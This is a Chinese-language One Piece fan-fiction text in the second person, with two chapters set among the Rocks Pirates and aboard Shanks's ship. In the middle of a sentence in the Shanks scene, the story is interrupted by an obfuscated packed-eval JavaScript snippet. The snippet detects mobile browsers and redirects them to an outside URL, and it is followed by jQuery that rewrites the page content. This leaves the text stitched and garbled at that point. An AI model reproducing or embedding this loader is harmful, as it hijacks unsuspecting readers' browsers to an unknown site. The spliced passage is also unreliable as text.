小女孩重复你的话,耳朵红红的,明亮的眼睛一眨一眨,真漂亮,你亲她软乎乎的脸颊,被纽盖特拉着坐好,怀迪贝低着脑袋对指头嘟囔“还是想让露娜和老爹在一起”。 “你们不要把她说的话太当回事。” 纽盖特告诉他的孩子们。 至于小孩们都怎么想?他们只是脸蛋红红看天看地就是了,没人敢看你,纽盖特也不看你,只有你乐不可支逗着怀迪贝。 “但是我说的是真的哎,想要把怀迪贝偷走,干脆把大家都偷走吧。” 04. 关于你把纽盖特睡了的这件事不需要你大鸣大放。 洛克斯海贼团上无事生非的海贼们自会为你辩经。 他们对此表态:不愧是你。 新的赌盘在开你下一个目标是凯多、史基还是约翰、王直,反正船上有名有姓的大海贼都被入了盘。大多人猜测是凯多,排除斯图西,他们觉得你对和自己体型差异大的人兴趣更大。 你神游天外在想赌盘的赔率是多少,要不你自己也赌一把赚点外快。 洛克斯、玲玲和纽盖特大眼瞪小眼,斯图西看你目光不善,又在你对她笑的时候鹌鹑一样地移开视线非常害怕被你拉到房间里霍霍,你觉得她只是不想承认玩家的你技术太高了,就每一次的结果来看她不是都很喜欢嘛。 你占了斯图西平日的位置,坐在纽盖特的肩膀上。 船只行驶势如破竹,有不知所谓的海贼攻打了洛克斯海贼团的地盘,还越打越顺手,给势力范围形成的包围圈开了个大口子,这行为对洛克斯海贼团来说就像是当面给它扇了个大嘴巴子一样没面子,成员的海贼团长们脸上也火辣辣,所以上次会议达成了共识——剿灭罗杰海贼团。 你遥遥地朝对面船上叫着“露娜!是露娜吧!果然是你啊露娜!好久不见露娜!想我们了吗露娜!”的罗杰招手。 罗杰开心了,你开心了。你坐着纽盖特和边上的洛克斯还有玲玲不开心,史基的脸色臭得可以,平日里这时候要讽你的斯图西抱着手臂干脆不说话。 格罗丽欧莎说你居然那么开心啊。 “因为是很久没有见面的朋友嘛,我还等着之后让他们做我的小孩呢。” “那你还要和我们一起剿灭他们吗?” “当然。” 火光之下,女人的眼睛弯成两轮狡黠明月。 “活着就是要厮杀嘛。” 身影快闪化为黑色闪电冲毁红色船只的桅杆,雪白的帆船在火焰中翻飞。 你放任自己随重力落下,果然有一双手接住你,真是好久没见,你给了他们一份大礼。你娴熟地环上人的脖子,虽然长大了些但还记得自己喜欢的位置,蹭着他把自己摆正,还是这个位置舒服。 “喜欢我的见面礼吗,要让我做你的妈妈了吗?” “雷利。” 那绺长长的金色落在你的额上,你绕它让它在你的指上打卷儿,没多用力,拉一下,那张俊朗的脸蛋自己送到了面前,还是那股熟悉的烟酒的味道。 “欢迎回来,露娜。” “但是我拒绝。” TBC. 9. 贵女5 取个名字吧,贝克曼说。 其实本乡是第一个提出的人,船医想要一个名字躺在病例本上。 你拒绝了。窝在沙发上捧大部头,致命部位曝露在阻击手的视野中,脆弱得、无害得紧,也不知是哪儿来的胆子。 小姐、小小姐,这样就好了,你说,你没有感觉到什么不适。贝克曼盯着你,你垂眼翻书页。他想看就让他看好了,反正平日里你们都抬头不见低头见,沙发也就在他办公的书桌前头。直到前日你都还住在这间办公室,现在你住在由一个小杂物间收拾出的小房间里。 贝克曼说大部分贵小姐可不乐意被海贼小姐、小姐得叫,那样掉价,而且,男人黑色的眼珠子沉沉,那绺黑发落在他前头遮挡了住一小份暗芒,薄唇里窜出点烟雾模糊凌厉的面庞。 贵小姐们都觉得被海贼那么叫唤是种侮辱,他说。 那是因为你们的心思肮脏,你回他。 沙发上的贵小姐胆子真是肥了不少。贝克曼笑笑,晕染他的薄雾在略显暗哑的声音中弥散,双掌压在文件纸张上起伏的胸膛带动背脊,烟雾后的他活同一只匍匐的野兽。贝克曼夸你,大概是在夸你吧,说你这样想是对的,你没有错。烟蒂落在烟灰缸里,点燃火星又上了一只新烟,吐出的新雾吹散旧的,飘向窗外。 嘎布是你在这艘船上最亲近的人,这个“亲近”由他人与你比较而来。 在夜晚酒宴难得的故事会后,弓腰走路的嘎布撞见白裙披头散发的你爆发出扭曲的尖叫,靠得近的船医动作快,捂住你的耳朵,但附加上特殊能力的声音依旧让你的耳鸣嗡嗡不止,你几步就软了下来,竟然就那么软软搭在了船医身上。 你才知道和穷凶极恶的面目不同,高大威猛面相凶狠的男人其实害怕鬼怪和小虫。真想不到,你感叹着将耳朵露在船医的手下。船医同你说其实嘎布是个内心柔软的壮汉,他检查你的耳朵,确认无大碍后取了一罐小瓶,说带你去看有趣的东西。于是你们猫猫祟祟,蹲下的医生笑得像个大男孩,干的也是同大男孩一样幼稚的事情。他把罐子递给你,要你在门缝处打开它,船医说完两只手捂上你的耳朵,手掌上消毒水和草药的味道混一块儿隔一层头发捂热你的耳朵。 不明所以,你还是照做了。 罐中飞窜出什么,快得你来不及捕捉,只觉脚下一阵震动,即使被捂了耳朵、隔了门板依旧可以听到超级大声的大喊大叫。你甚至还来不及知道发生了什么,腰上一紧整个儿倒在船医的胸前,鼻尖上药草的味道又浓了些。 本乡带你向后躺倒却不是倒在地上,是向后迈了几步。紧闭的大门在你们眼前打开,又快又急得高大的身影落荒逃出——是衣服都没穿好的嘎布。可能是看到你的关系,他原本大张的嘴巴不情不愿闭上,非常非常委屈,大手在半空中乱挥乱舞指着房间里一副着急得要死的模样,那么一个凶相凶相的大男人居然要哭出来了。你呆愣愣地看着耶稣布窜进房里一阵乒乒乓乓手指捏着一只巴掌大都没有的小虫出来,脏辫的男人满面生无可恋拍打嘎布的动作娴熟极了。 “你那么大一只!怎么总是被这么大点的虫子吓成这副鬼样子!你还抖!还好我们的敌对势力都不知道……哎呀!传出去都丢人!” 看起来是发生过很多次。 “有意思吧?”船医的话落在耳边,热乎乎的气流窜入耳蜗,你瑟缩一下,视线还呆呆落在高大壮一只的嘎布身上。 高高大大此时缩成一团,恨铁不成钢的耶稣布边拍打边训斥缩着的嘎布,肉眼可见的嘎布的肩膀红了一大片。方才动静大,周围马上就围满了人。红发的船长红光满面歪歪扭扭走到耶稣布和嘎布边上哈哈哈地一起拍人,下手不知轻重,拍得嘎布一抖一抖眼神幽怨,没个家长样的船长被真正的家长耶稣布撵跑混入人群。等你的视线再回到嘎布,那个壮汉委屈得如小媳妇的眼神就落到了你身上,准确是说是你头顶的本乡身上,你确信嘎布的眼睛是湿润的,船只上的灯照得人眼中的水光闪烁。 噗。 不知道是谁这样笑,太娇了,太清脆了,众人不自觉循着声音望去竟是在船医的怀里,是笑靥如花的贵女。冰山上的雪水融化成涓涓细流大概就是这种感觉,在雪山的河流里闪烁暖阳耀眼、晶亮,夺目。头一次她笑得毫无保留,人的嘴角也不自觉跟着上挑。贵女皓白腕子抵在唇边露出柔软的手心,眸子弯成两轮宝蓝色新月。 船医的指头抖抖。 好一会儿,你才缓过来,过于集中的视线使你强行平复心情,呼出气团。最后一眼你看嘎布,还是觉得他有点儿可爱即使他是海贼。 大抵是贵小姐的笑太少见了,周围的海贼们抱怨起来,想要你多笑笑,说你笑得真好看。你拍本乡的手,谢过他,从不舒服的怀抱里离开,退他几步远。有人踌躇地拿了一小块金子靠上来,被海风吹得黝黑的脸蛋通红,问你愿不愿意再笑笑,他可以给你这一小块金子,一片哗然和起哄。 说实话你不喜欢这样,无异于变相地强迫即使本人可能并没有这种意思,但你不喜欢。 红发船长出现的时机恰到好处。 流火似的红色将你们间隔开来,那颜色烫手,你往后几步,那团火焰是有意识的,香克斯束你的腕子,不疼,堪堪抓着有一圈真空,可酒水还是打湿了袖口。 抱歉抱歉。他笑嘻嘻偏头,手指上的酒水合在他的船员手上将那一小块金子摁进人家的拳头里。小小姐好像不喜欢这样啊,好歹也是客人了,就不要这样对你了,你会很为难,搞得我们好像是坏人,他说。 海贼确实不是好人,你心道。 你看不着香克斯是什么表情,拿金子的船员失落离去,起哄的人们沉下去喝酒,新的话题很快就带过了这件事。香克斯转过头来时夜宴的火光照亮他暗红色的眼,那团红色同他的红发一样,难以令人忽视,但现在这人不知喝了多少酒,脸皮也要全红了。于是红彤彤的香克斯弯腰,沉沉的脑袋靠过来,不知道是什么酒的味道喷涌过来,醺人,醺你的脸和手指,你捧香克斯的脸。 唉?船长愣一下,好像没反应过来自己为什么不能前进了,蹭了蹭,胡渣刮得你手心痒痒、细到可以忽视的疼。 现在你的两只手都被抓住了,不是什么绅士得圈着,“绅士”这个词本身就和海贼相去甚远。男人的胡渣蹭你两只掌心,他好像觉得怪新奇的。 软软的,和男人完全不一样呢,把头抬起来的船长说。他眯着眼睛,弯弯的,问你,真的不再笑笑嘛,你笑起来很好看,太好看了,应该多笑笑才对,啊,对了我有船员很喜欢小姐呢,如果对他笑的话说不定会有求必应哦。 你从他满是酒味的掌心抽出自己的手,莹白的指甲红红,酒液涂摸在上面,有点脏,你扯一下嘴角才对香克斯说话。 您现在是一个胡言乱语的醉鬼,我想不应该听一个醉鬼的意见,你说。 哎,哎,但是我没有醉哎,你看你看,我清醒得很。 香克斯靠过来。 突然放大脸,把你囚在暗红色的里的眼,那里头却是清明不带浑浊,干净得有点过分,或者说是你太干净了。你抵他被酒水润过一遍滑腻的胸膛,他非常烫,你的指背要烧起来。 啊,你这里沾了酒啊。他靠得更近了点,酡红的脸有热气。 我没有喝酒。你想说你不会沾酒的,可是船长的动作显然比你快,在你还睁着眼张嘴要说出下半句话时,那条被酒液浸润过的舌头压你的脸蛋滑了一下。 哎是咸的?小小姐,你哭了?他捏你的脸蛋一点儿也不建议自己落下的黏糊口水。 这下好了你的脸蛋不干净了。 你愣住,而后是上涌得怒火,胸脯起伏一下,可也就那一下,想清楚对方是海贼团的团长,想一下你在报纸上看到的悬赏令……你还是扇了香克斯一巴掌,就像你拍开本乡的手,这一下清脆,远处有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834999|175633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒杯砸在地上遮盖了船长被贵小姐扇巴掌的事情,但人群里依旧有起伏声。 生气了?香克斯不气也不恼,就像他第一次被你扇巴掌那样,他就凑上来问你是不是生气了,好像你的感受很重要似的。 你怎么敢呢?你反问他,也不看他,袖子擦着脸上的水渍,把自己的皮子都擦红了。 就是生气了吧…要道歉吗?要我道歉吗?香克斯指指自己问你,他什么问题都抛给你,笑容没有褪过。 他是很过分的人。 怎么敢呢,你说,退后,朝人俯下身子,不打扰您们的酒宴了。你说完转身就走,怒火在燃烧,你确实很生气,但那又能怎么样?转过转角你踏步的声音变大,你知道很幼稚可又没人看见! 宴会处传来红发船长的笑声。 你更生气了。 第二天中午嘎布来找得你。 他给你做了一双凉鞋,牛皮从本乡那儿充公,恶作剧的船医被捉了正着。 你惊喜也惊奇。你在船上没有像样的鞋子穿是事实,可嘎布怎么有你的脚码?你没问,嘎布自己说了,是船医告诉他的。病历本上会记录尺码这种事非常新奇,嘎布不知道,你还不知道? 新的小凉鞋很合脚,脚掌的那面软,皮子的品质想必很好。你踩小鞋原地提裙摆走走,又在嘎布面前转了一圈,旋转的裙摆将贵女装点成纯白的花。 你住的小杂物间在船尾,你来来回回累人,但这距离对干部们不值一提。你对嘎布道谢,你对他笑,船医乱七八糟的言情小说也许并不都是毫无意义,至少你从上面学会了贵小姐该用什么样的提裙姿势欠身道谢。一个优雅的礼毕,五大三粗的男人子在你面前摸鼻子摸脑袋,看你金子也换不来的笑脸脑门通红,说不过就是一双鞋。 那也很感谢他,因为你真的很喜欢,还有身上的衣服,这都要感谢他。你又朝他笑了。 嘎布临走时像落荒而逃,只是这次的对象不是虫子也不是女鬼,他的脚步还有些飘飘然,耶稣布恨铁不成钢。 本乡也看到了小凉鞋。递给你药,在你吞下后拿着笔写写画画,过了良久。 “不谢谢我吗?” 你望他,平静的眼睛里没有波澜,船医不紧不慢。 “我让你笑得很开心,也给了做鞋的牛皮,怎么说都有我的功劳,我以为,小小姐应该感谢我。” 医生的脸皮不薄,他眨眼睛。 “您偷听我和嘎布说话。” “只是路过,小姐不开心?” “我怎么敢呢。” 你没表情,在病床上晃脚,深色的牛皮料子勒得脚趾头白白,尖尖粉嫩,款式是和大多数船员一样,只是尺码一小再小,你想象嘎布大手一手小鞋一手捻着针线,嘴角不自觉地勾勾。 “小姐看起来对我的贡献一点儿不在意。” “哪里有,我很感谢医生您。” 你敷衍他。医生肯定能听出来,他又不是傻子,那就该快点结束对话。 “感谢的话,小姐要怎么我呢?是也要对我笑笑吗?” “如果您想的话,但您不觉得您很幼稚吗?”这个偷窥者。你不满,可医生先移开了视线,拿着那本为你准备的病例本。 “那我来为小姐取个名字怎么样?一直小姐、小姐得,听起来很烦闷吧?有一个好听的名字也许是还不错的选择不是吗?” 而且方便归档。医生展示的病例本柜说明了理由,似乎真的不存在一丁点儿私心。 “我不取名字,我有名字的,只是忘了,不是没有了。” “所以说,再想起来之前,为了方便取…” “不要。” 你又拒绝了。 你看着本乡。 船医想昨晚生动如春花绽开的笑大概是他抱不住的梦。 “不劳您费心,本乡医生。” 你不想要和这艘船建立任何的联系。